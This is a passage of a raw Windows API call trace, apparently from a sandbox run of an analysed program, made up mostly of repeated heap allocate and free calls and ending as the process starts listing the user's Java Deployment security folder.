0x32476f0 [0069.974] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x32543a8 [0069.974] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.974] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32543a8 | out: hHeap=0x5d0000) returned 1 [0069.974] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.974] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.974] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.974] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.974] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.974] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.974] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.974] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x32543a8 [0069.974] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.974] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32543a8 | out: hHeap=0x5d0000) returned 1 [0069.974] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.975] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.975] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.975] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.975] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.975] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.975] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.975] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.975] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.975] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.975] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.975] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.975] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.975] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.975] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.975] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.975] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.975] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.975] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.975] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x32543a8 [0069.975] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.975] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32543a8 | out: hHeap=0x5d0000) returned 1 [0069.975] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.975] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.975] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.975] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.975] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.975] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.975] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.975] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.975] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.975] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.975] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.975] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.976] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.976] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.976] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.976] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.976] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.976] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.976] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.976] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.976] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.976] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.976] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.976] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.976] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.976] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.976] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.976] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.976] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.976] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.976] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.976] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.976] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.976] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.976] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.976] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.976] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.976] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.976] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.976] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x32543a8 [0069.976] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.976] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32543a8 | out: hHeap=0x5d0000) returned 1 [0069.976] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.976] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.976] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.977] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.977] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.977] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.977] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.977] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.977] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.977] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.977] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.977] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.977] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.977] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.977] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.977] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.977] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.977] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.977] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.977] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.977] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.977] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.977] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.977] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x32543a8 [0069.977] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.977] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32543a8 | out: hHeap=0x5d0000) returned 1 [0069.977] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.977] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.977] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.977] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.977] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.977] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.977] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.977] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.977] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.978] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.978] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.978] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.978] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.978] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.978] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.978] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.978] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.978] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.978] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.978] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.978] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.978] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.978] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.978] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.978] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.978] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.978] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.978] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.978] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.978] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.978] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.978] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.978] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.978] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.978] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.978] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.978] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.978] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.978] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.978] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x32543a8 [0069.979] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.979] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32543a8 | out: hHeap=0x5d0000) returned 1 [0069.979] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.979] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.979] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.979] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.979] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.979] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.979] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.979] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.979] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.979] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.979] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.979] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.979] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.979] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.979] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.979] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.979] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.979] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.979] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.979] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.979] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.979] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.979] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.979] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x32543a8 [0069.979] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.979] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32543a8 | out: hHeap=0x5d0000) returned 1 [0069.979] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.979] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.979] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.979] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.979] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.980] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.980] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.980] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.980] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.980] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.980] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.980] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.980] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.980] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.980] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.980] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.980] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.980] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.980] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.980] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.980] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.980] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.980] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.980] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.980] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.980] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.980] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security\\") returned="security\\" [0069.980] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eca0 [0069.980] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2ac0 [0069.980] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.980] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\") returned="Deployment\\" [0069.980] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abf90 [0069.980] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2ac0 | out: hHeap=0x5d0000) returned 1 [0069.980] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0069.980] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175a30 [0069.980] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abf90 | out: hHeap=0x5d0000) returned 1 [0069.980] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0069.981] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0069.981] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175a30 | out: hHeap=0x5d0000) returned 1 [0069.981] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0069.981] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d868 [0069.981] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cdf8 | out: hHeap=0x5d0000) returned 1 [0069.981] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0069.981] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187228 [0069.981] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325d868 | out: hHeap=0x5d0000) returned 1 [0069.981] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0069.981] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x31830e8 [0069.981] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eca0 | out: hHeap=0x5d0000) returned 1 [0069.981] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eca0 [0069.981] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187228 | out: hHeap=0x5d0000) returned 1 [0069.981] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0069.981] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eca0 | out: hHeap=0x5d0000) returned 1 [0069.981] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0069.981] PathFindFileNameW (pszPath="") returned="" [0069.981] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.981] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1e5aaf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1e5aaf0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e5aaf0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0069.982] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.982] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1e5aaf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1e5aaf0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e5aaf0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.982] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1e5aaf0, 